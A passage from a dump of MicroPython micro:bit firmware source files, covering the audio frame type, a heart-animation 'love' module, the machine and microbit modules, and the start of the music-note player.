n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    (void)args;\n    mp_arg_check_num(n_args, n_kw, 0, 0, false);\n    return new_microbit_audio_frame();\n}\n\nSTATIC mp_obj_t audio_frame_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value_in) {\n    microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in;\n    mp_int_t index = mp_obj_get_int(index_in);\n    if (index < 0 || index >= AUDIO_CHUNK_SIZE) {\n         mp_raise_ValueError(\"index out of bounds\");\n    }\n    if (value_in == MP_OBJ_NULL) {\n        // delete\n        mp_raise_TypeError(\"cannot delete elements of AudioFrame\");\n    } else if (value_in == MP_OBJ_SENTINEL) {\n        // load\n        return MP_OBJ_NEW_SMALL_INT(self->data[index]);\n    } else {\n        mp_int_t value = mp_obj_get_int(value_in);\n        if (value < 0 || value > 255) {\n            mp_raise_ValueError(\"value out of range\");\n        }\n        self->data[index] = value;\n        return mp_const_none;\n    }\n}\n\nstatic mp_obj_t audio_frame_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    (void)self_in;\n    switch (op) {\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(32);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nstatic mp_int_t audio_frame_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    (void)flags;\n    microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in;\n    bufinfo->buf = self->data;\n    bufinfo->len = AUDIO_CHUNK_SIZE;\n    bufinfo->typecode = 'b';\n    return 0;\n}\n\nstatic void add_into(microbit_audio_frame_obj_t *self, microbit_audio_frame_obj_t *other, bool add) {\n    int mult = add ? 1 : -1;\n    for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) {\n        unsigned val = (int)self->data[i] + mult*(other->data[i]-128);\n        // Clamp to 0-255\n        if (val > 255) {\n            val = (1-(val>>31))*255;\n        }\n        self->data[i] = val;\n    }\n}\n\nstatic microbit_audio_frame_obj_t *copy(microbit_audio_frame_obj_t *self) {\n    microbit_audio_frame_obj_t *result = new_microbit_audio_frame();\n    for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) {\n        result->data[i] = self->data[i];\n    }\n    return result;\n}\n\nmp_obj_t copyfrom(mp_obj_t self_in, mp_obj_t other) {\n    microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in;\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(other, &bufinfo, MP_BUFFER_READ);\n    uint32_t len = bufinfo.len > AUDIO_CHUNK_SIZE ? AUDIO_CHUNK_SIZE : bufinfo.len;\n    for (uint32_t i = 0; i < len; i++) {\n        self->data[i] = ((uint8_t *)bufinfo.buf)[i];\n    }\n   return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(copyfrom_obj, copyfrom);\n\nunion _i2f {\n    int32_t bits;\n    float value;\n};\n\n/* Convert a small float to a fixed-point number */\nint32_t float_to_fixed(float f, uint32_t scale) {\n    union _i2f x;\n    x.value = f;\n    int32_t sign = 1-((x.bits>>30)&2);\n    /* Subtract 127 from exponent for IEEE-754 and 23 for mantissa scaling */\n    int32_t exponent = ((x.bits>>23)&255)-150;\n    /* Mantissa scaled by 2**23, including implicit 1 */\n    int32_t mantissa = (1<<23) | ((x.bits)&((1<<23)-1));\n    int32_t shift = scale+exponent;\n    int32_t result;\n    if (shift > 0) {\n        result = sign*(mantissa<<shift);\n    } else if (shift < -31) {\n        result = 0;\n    } else {\n        result = sign*(mantissa>>(-shift));\n    }\n    // printf(\"Float %f: %d %d %x (scale %d) => %d\\n\", f, sign, exponent, mantissa, scale, result);\n    return result;\n}\n\nstatic void mult(microbit_audio_frame_obj_t *self, float f) {\n    int scaled = float_to_fixed(f, 15);\n    for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) {\n        unsigned val = ((((int)self->data[i]-128) * scaled) >> 15)+128;\n        if (val > 255) {\n            val = (1-(val>>31))*255;\n        }\n        self->data[i] = val;\n    }\n}\n\nSTATIC mp_obj_t audio_frame_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    if (mp_obj_get_type(lhs_in) != &microbit_audio_frame_type) {\n        return MP_OBJ_NULL; // op not supported\n    }\n    microbit_audio_frame_obj_t *lhs = (microbit_audio_frame_obj_t *)lhs_in;\n    switch(op) {\n    case MP_BINARY_OP_ADD:\n    case MP_BINARY_OP_SUBTRACT:\n        lhs = copy(lhs);\n    case MP_BINARY_OP_INPLACE_ADD:\n    case MP_BINARY_OP_INPLACE_SUBTRACT:\n        if (mp_obj_get_type(rhs_in) != &microbit_audio_frame_type) {\n            return MP_OBJ_NULL; // op not supported\n        }\n        add_into(lhs, (microbit_audio_frame_obj_t *)rhs_in, op==MP_BINARY_OP_ADD||op==MP_BINARY_OP_INPLACE_ADD);\n        return lhs;\n    case MP_BINARY_OP_MULTIPLY:\n        lhs = copy(lhs);\n    case MP_BINARY_OP_INPLACE_MULTIPLY:\n        mult(lhs, mp_obj_get_float(rhs_in));\n        return lhs;\n    }\n    return MP_OBJ_NULL; // op not supported\n}\n\nSTATIC const mp_map_elem_t microbit_audio_frame_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_copyfrom), (mp_obj_t)&copyfrom_obj },\n};\nSTATIC MP_DEFINE_CONST_DICT(microbit_audio_frame_locals_dict, microbit_audio_frame_locals_dict_table);\n\n\nconst mp_obj_type_t microbit_audio_frame_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_AudioFrame,\n    .print = NULL,\n    .make_new = microbit_audio_frame_new,\n    .call = NULL,\n    .unary_op = audio_frame_unary_op,\n    .binary_op = audio_frame_binary_op,\n    .attr = NULL,\n    .subscr = audio_frame_subscr,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = { .get_buffer = audio_frame_get_buffer },\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_audio_frame_locals_dict,\n};\n\nmicrobit_audio_frame_obj_t *new_microbit_audio_frame(void) {\n    microbit_audio_frame_obj_t *res = m_new_obj(microbit_audio_frame_obj_t);\n    res->base.type = &microbit_audio_frame_type;\n    memset(res->data, 128, AUDIO_CHUNK_SIZE);\n    return res;\n}\n\nSTATIC const mp_map_elem_t audio_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_audio) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_stop), (mp_obj_t)&microbit_audio_stop_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_play), (mp_obj_t)&microbit_audio_play_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_playing), (mp_obj_t)&microbit_audio_is_playing_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_AudioFrame), (mp_obj_t)&microbit_audio_frame_type },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(audio_module_globals, audio_globals_table);\n\nconst mp_obj_module_t audio_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&audio_module_globals,\n};\n\n\n}\n\n\n"
  },
  {
    "path": "micropython/source/microbit/modlove.cpp",
    "content": "\n/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n\nextern \"C\" {\n\n#include \"py/mphal.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/microbit_image.h\"\n\nstatic const mp_float_t bright[7] = {\n    0.0, 1.0/9, 2.0/9, 4.0/9, 6.0/9, 7.0/9, 1.0,\n};\n\nvoid love(int interval = 25 /* ms */) {\n    microbit_image_obj_t *hearts[MP_ARRAY_SIZE(bright)];\n    for (uint i = 0; i < MP_ARRAY_SIZE(bright); i++) {\n         hearts[i] = microbit_image_dim(HEART_IMAGE, bright[i]);\n    }\n\n    for (int iteration = 0; iteration < 8; iteration++) {\n        // pause between double beats of the heart\n        if (iteration && (iteration & 1) == 0) {\n            mp_hal_delay_ms(20 * interval);\n        }\n        // pulse heart to max brightness\n        for(uint step = 0; step < MP_ARRAY_SIZE(bright); ++step) {\n            microbit_display_show(&microbit_display_obj, hearts[step]);\n            mp_hal_delay_ms(interval);\n        }\n        // pulse heart to min brightness\n        for(int step = MP_ARRAY_SIZE(bright) - 1; step >= 0; --step) {\n            microbit_display_show(&microbit_display_obj, hearts[step]);\n            mp_hal_delay_ms(interval);\n        }\n    }\n    microbit_display_clear();\n}\n\nSTATIC mp_obj_t love_badaboom(void) {\n    // make\n    love();\n    // ! war\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(love___init___obj, love_badaboom);\nMP_DEFINE_CONST_FUN_OBJ_0(love_badaboom_obj, love_badaboom);\n\nSTATIC const mp_map_elem_t love_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_love) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&love___init___obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_badaboom), (mp_obj_t)&love_badaboom_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(love_module_globals, love_module_globals_table);\n\nconst mp_obj_module_t love_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&love_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modmachine.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n#include \"py/obj.h\"\n#include \"extmod/machine_mem.h\"\n#include \"extmod/machine_pulse.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"nrf.h\"\n\n#if MICROPY_PY_MACHINE\n\n// Returns a string of 8 bytes (64 bits), which is the unique ID for the MCU\nSTATIC mp_obj_t machine_unique_id(void) {\n    uint32_t dev_id[2];\n    dev_id[0] = NRF_FICR->DEVICEID[0];\n    dev_id[1] = NRF_FICR->DEVICEID[1];\n    return mp_obj_new_bytes((const void*)&dev_id, 8);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(machine_unique_id_obj, machine_unique_id);\n\n// Get the MCU frequency\nSTATIC mp_obj_t machine_freq(void) {\n    return MP_OBJ_NEW_SMALL_INT(16000000);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(machine_freq_obj, machine_freq);\n\n// Disable interrupt requests\nSTATIC mp_obj_t machine_disable_irq(void) {\n    uint32_t state = __get_PRIMASK();\n    __disable_irq();\n    return mp_obj_new_int(state);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(machine_disable_irq_obj, machine_disable_irq);\n\n// Enable interrupt requests\nSTATIC mp_obj_t machine_enable_irq(mp_obj_t state_in) {\n    uint32_t state = mp_obj_get_int(state_in);\n    __set_PRIMASK(state);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(machine_enable_irq_obj, machine_enable_irq);\n\nSTATIC const mp_rom_map_elem_t machine_module_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_machine) },\n    { MP_ROM_QSTR(MP_QSTR_unique_id), MP_ROM_PTR(&machine_unique_id_obj) },\n    { MP_ROM_QSTR(MP_QSTR_reset), MP_ROM_PTR(&microbit_reset_obj) },\n    { MP_ROM_QSTR(MP_QSTR_freq), MP_ROM_PTR(&machine_freq_obj) },\n\n    { MP_ROM_QSTR(MP_QSTR_disable_irq), MP_ROM_PTR(&machine_disable_irq_obj) },\n    { MP_ROM_QSTR(MP_QSTR_enable_irq), MP_ROM_PTR(&machine_enable_irq_obj) },\n\n    { MP_ROM_QSTR(MP_QSTR_mem8), MP_ROM_PTR(&machine_mem8_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem16), MP_ROM_PTR(&machine_mem16_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem32), MP_ROM_PTR(&machine_mem32_obj) },\n\n    { MP_ROM_QSTR(MP_QSTR_time_pulse_us), MP_ROM_PTR(&machine_time_pulse_us_obj) },\n};\nSTATIC MP_DEFINE_CONST_DICT(machine_module_globals, machine_module_globals_table);\n\nconst mp_obj_module_t machine_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&machine_module_globals,\n};\n\n#endif // MICROPY_PY_MACHINE\n"
  },
  {
    "path": "micropython/source/microbit/modmicrobit.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"MicroBitDevice.h\"\n#include \"MicroBitSystemTimer.h\"\n\nextern \"C\" {\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/mphal.h\"\n#include \"microbit/modmicrobit.h\"\n\nSTATIC mp_obj_t microbit_reset_(void) {\n    microbit_reset();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_reset_obj, microbit_reset_);\n\nSTATIC mp_obj_t microbit_sleep(mp_obj_t ms_in) {\n    mp_int_t ms;\n    if (mp_obj_is_integer(ms_in)) {\n        ms = mp_obj_get_int(ms_in);\n    } else {\n        ms = (mp_int_t)mp_obj_get_float(ms_in);\n    }\n    if (ms > 0) {\n        mp_hal_delay_ms(ms);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_sleep_obj, microbit_sleep);\n\nSTATIC mp_obj_t microbit_running_time(void) {\n    return MP_OBJ_NEW_SMALL_INT(system_timer_current_time());\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_running_time_obj, microbit_running_time);\n\nSTATIC mp_obj_t microbit_panic(mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args == 0) {\n        // TODO the docs don't mention this, so maybe remove it?\n        microbit_panic(999);\n    } else {\n        microbit_panic(mp_obj_get_int(args[0]));\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_panic_obj, 0, 1, microbit_panic);\n\nSTATIC mp_obj_t microbit_temperature(void) {\n    NRF_TEMP->TASKS_START = 1;\n    while (NRF_TEMP->EVENTS_DATARDY == 0) {\n    }\n    NRF_TEMP->EVENTS_DATARDY = 0;\n    int32_t temp = NRF_TEMP->TEMP / 4;\n    NRF_TEMP->TASKS_STOP = 1;\n    return mp_obj_new_int(temp);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_temperature_obj, microbit_temperature);\n\nSTATIC const mp_map_elem_t microbit_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_microbit) },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_Image), (mp_obj_t)&microbit_image_type },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_display), (mp_obj_t)&microbit_display_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_button_a), (mp_obj_t)&microbit_button_a_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_button_b), (mp_obj_t)&microbit_button_b_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_accelerometer), (mp_obj_t)&microbit_accelerometer_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_compass), (mp_obj_t)&microbit_compass_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_i2c), (mp_obj_t)&microbit_i2c_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_uart), (mp_obj_t)&microbit_uart_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_spi), (mp_obj_t)&microbit_spi_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)&microbit_reset_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_sleep), (mp_obj_t)&microbit_sleep_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_running_time), (mp_obj_t)&microbit_running_time_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_panic), (mp_obj_t)&microbit_panic_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_temperature), (mp_obj_t)&microbit_temperature_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin0), (mp_obj_t)&microbit_p0_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin1), (mp_obj_t)&microbit_p1_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin2), (mp_obj_t)&microbit_p2_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin3), (mp_obj_t)&microbit_p3_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin4), (mp_obj_t)&microbit_p4_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin5), (mp_obj_t)&microbit_p5_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin6), (mp_obj_t)&microbit_p6_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin7), (mp_obj_t)&microbit_p7_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin8), (mp_obj_t)&microbit_p8_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin9), (mp_obj_t)&microbit_p9_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin10), (mp_obj_t)&microbit_p10_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin11), (mp_obj_t)&microbit_p11_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin12), (mp_obj_t)&microbit_p12_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin13), (mp_obj_t)&microbit_p13_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin14), (mp_obj_t)&microbit_p14_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin15), (mp_obj_t)&microbit_p15_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin16), (mp_obj_t)&microbit_p16_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin19), (mp_obj_t)&microbit_p19_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pin20), (mp_obj_t)&microbit_p20_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_module_globals, microbit_module_globals_table);\n\nconst mp_obj_module_t microbit_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&microbit_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modmusic.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"py/objstr.h\"\n#include \"py/mphal.h\"\n#include \"lib/ticker.h\"\n#include \"lib/pwm.h\"\n#include \"microbit/modmicrobit.h\"\n#include \"microbit/modmusic.h\"\n\n#define DEFAULT_BPM      120\n#define DEFAULT_TICKS    4 // i.e. 4 ticks per beat\n#define DEFAULT_OCTAVE   4 // C4 is middle C\n#define DEFAULT_DURATION 4 // Crotchet\n#define ARTICULATION_MS  10 // articulation between notes in milliseconds\n\ntypedef struct _music_data_t {\n    uint16_t bpm;\n    uint16_t ticks;\n\n    // store these to simplify the writing process\n    uint8_t last_octave;\n    uint8_t last_duration;\n\n    // Asynchronous parts.\n    volatile uint8_t async_state;\n    bool async_loop;\n    uint32_t async_wait_ticks;\n    uint16_t async_notes_len;\n    uint16_t async_notes_index;\n    const microbit_pin_obj_t *async_pin;\n    mp_obj_t async_note;\n} music_data_t;\n\nenum {\n    ASYNC_MUSIC_STATE_IDLE,\n    ASYNC_MUSIC_STATE_NEXT_NOTE,\n    ASYNC_MUSIC_STATE_ARTICULATE,\n};\n\n#define music_data MP_STATE_PORT(music_data)\n\nSTATIC uint32_t start_note(const char *note_str, size_t note_len, const microbit_pin_obj_t *pin);\n\nvoid microbit_music_tick(void) {\n    if (music_data == NULL) {\n        // music module not yet imported\n        return;\n    }\n\n    if (music_data->async_state == ASYNC_MUSIC_STATE_IDLE) {\n        // nothing to do\n        return;\n    }\n\n    if (ticker_ticks_ms < music_data->async_wait_ticks) {\n        // need to wait for timeout to expire\n        return;\n    }\n\n    if (music_data->async_state == ASYNC_MUSIC_STATE_ARTICULATE) {\n        // turn off output and rest\n        pwm_set_duty_cycle(music_data->async_pin->name, 0);\n        music_data->async_wait_ticks = ticker_ticks_ms + ARTICULATION_MS;\n        music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE;\n    } else if (music_data->async_state == ASYNC_MUSIC_STATE_NEXT_NOTE) {\n        // play next note\n        if (music_data->async_notes_index >= music_data->async_notes_len) {\n            if (music_data->async_loop) {\n                music_data->async_notes_index = 0;\n            } else {\n                music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n                microbit_obj_pin_free(music_data->async_pin);\n                music_data->async_pin = NULL;\n                return;\n            }\n        }\n        mp_obj_t note;\n        if (music_data->async_notes_len == 1) {\n            note = music_data->async_note;\n        } else {\n            note = ((mp_obj_t*)music_data->async_note)[music_data->async_notes_index];\n        }\n        if (note == mp_const_none) {\n            // a rest (is this even used anymore?)\n            pwm_set_duty_cycle(music_data->async_pin->name, 0);\n            music_data->async_wait_ticks = 60000 / music_data->bpm;\n            music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE;\n        } else {\n            // a note\n            mp_uint_t note_len;\n            const char *note_str = mp_obj_str_get_data(note, &note_len);\n            uint32_t delay_on = start_note(note_str, note_len, music_data->async_pin);\n            music_data->async_wait_ticks = ticker_ticks_ms + delay_on;\n            music_data->async_notes_index += 1;\n            music_data->async_state = ASYNC_MUSIC_STATE_ARTICULATE;\n        }\n    }\n}\n\nSTATIC void wait_async_music_idle(void) {\n    // wait for the async music state to become idle\n    while (music_data->async_state != ASYNC_MUSIC_STATE_IDLE) {\n        // allow CTRL-C to stop the music\n        if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n            music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n            pwm_set_duty_cycle(music_data->async_pin->name, 0);\n            break;\n        }\n    }\n}\n\nSTATIC uint32_t start_note(const char *note_str, size_t note_len, const microbit_pin_obj_t *pin) {\n    pwm_set_duty_cycle(pin->name, 128);\n\n    // [NOTE](#|b)(octave)(:length)\n    // technically, c4 is middle c, so we'll go with that...\n    // if we define A as 0 and G as 7, then we can use the following\n    // array of us periods\n\n    // these are the periods of note4 (the octave ascending from middle c) from A->B then C->G\n    STATIC uint16_t periods_us[] = {2273, 2025, 3822, 3405, 3034, 2863, 2551};\n    // A#, -, C#, D#, -, F#, G#\n    STATIC uint16_t periods_sharps_us[] = {2145, 0, 3608, 3214, 0, 2703, 2408};\n\n    // we'll represent the note as an integer (A=0, G=6)\n    // TODO: validate the note\n    uint8_t note_index = (note_str[0] & 0x1f) - 1;\n\n    // TODO: the duration and bpm should be persistent between notes\n    uint32_t ms_per_tick = (60000 / music_data->bpm) / music_data->ticks;\n\n    int8_t octave = 0;\n    bool sharp = false;\n\n    size_t current_position = 1;\n\n    // parse sharp or flat\n    if (current_position < note_len && (note_str[current_position] == '#' || note_str[current_position] == 'b')) {\n        if (note_str[current_position] == 'b') {\n            // make sure we handle wrapping round gracefully\n            if (note_index == 0) {\n                note_index = 6;\n            } else {\n                note_index--;\n            }\n\n            // handle the unusual edge case of Cb\n            if (note_index == 1) {\n                octave--;\n            }\n        }\n\n        sharp = true;\n        current_position++;\n    }\n\n    // parse the octave\n    if (current_position < note_len && note_str[current_position] != ':') {\n        // currently this will only work with a one digit number\n        // use +=, since the sharp/flat code changes octave to compensate.\n        music_data->last_octave = (note_str[current_position] & 0xf);\n        current_position++;\n    }\n\n    octave += music_data->last_octave;\n\n    // parse the duration\n    if (current_position < note_len && note_str[current_position] == ':') {\n        // I'll make this handle up to two digits for the time being.\n        current_position++;\n\n        if (current_position < note_len) {\n            music_data->last_duration = note_str[current_position] & 0xf;\n\n            current_position++;\n            if (current_position < note_len) {\n                music_data->last_duration *= 10;\n                music_data->last_duration += note_str[current_position] & 0xf;\n            }\n        } else {\n            // technically, this should be a syntax error, since this means\n            // that no duration has been specified. For the time being,\n            // we'll let you off :D\n        }\n    }\n    // play the note!\n\n    // make the octave relative to octave 4\n    octave -= 4;\n\n    // 18 is 'r' or 'R'\n    if (note_index < 10) {\n        uint32_t period;\n        if (sharp) {\n            if (octave >= 0) {\n                period = periods_sharps_us[note_index] >> octave;\n            }\n            else {\n                period = periods_sharps_us[note_index] << -octave;\n            }\n        } else {\n            if (octave >= 0) {\n                period = periods_us[note_index] >> octave;\n            }\n            else {\n                period = periods_us[note_index] << -octave;\n            }\n        }\n        pwm_set_period_us(period);\n    } else {\n        pwm_set_duty_cycle(pin->name, 0);\n    }\n\n    // Cut off a short time from end of note so we hear articulation.\n    mp_int_t gap_ms = (ms_per_tick * music_data->last_duration) - ARTICULATION_MS;\n    if (gap_ms < ARTICULATION_MS) {\n        gap_ms = ARTICULATION_MS;\n    }\n    return gap_ms;\n}\n\nSTATIC mp_obj_t microbit_music_reset(void) {\n    music_data->bpm = DEFAULT_BPM;\n    music_data->ticks = DEFAULT_TICKS;\n    music_data->last_octave = DEFAULT_OCTAVE;\n    music_data->last_duration = DEFAULT_DURATION;\n\n    return 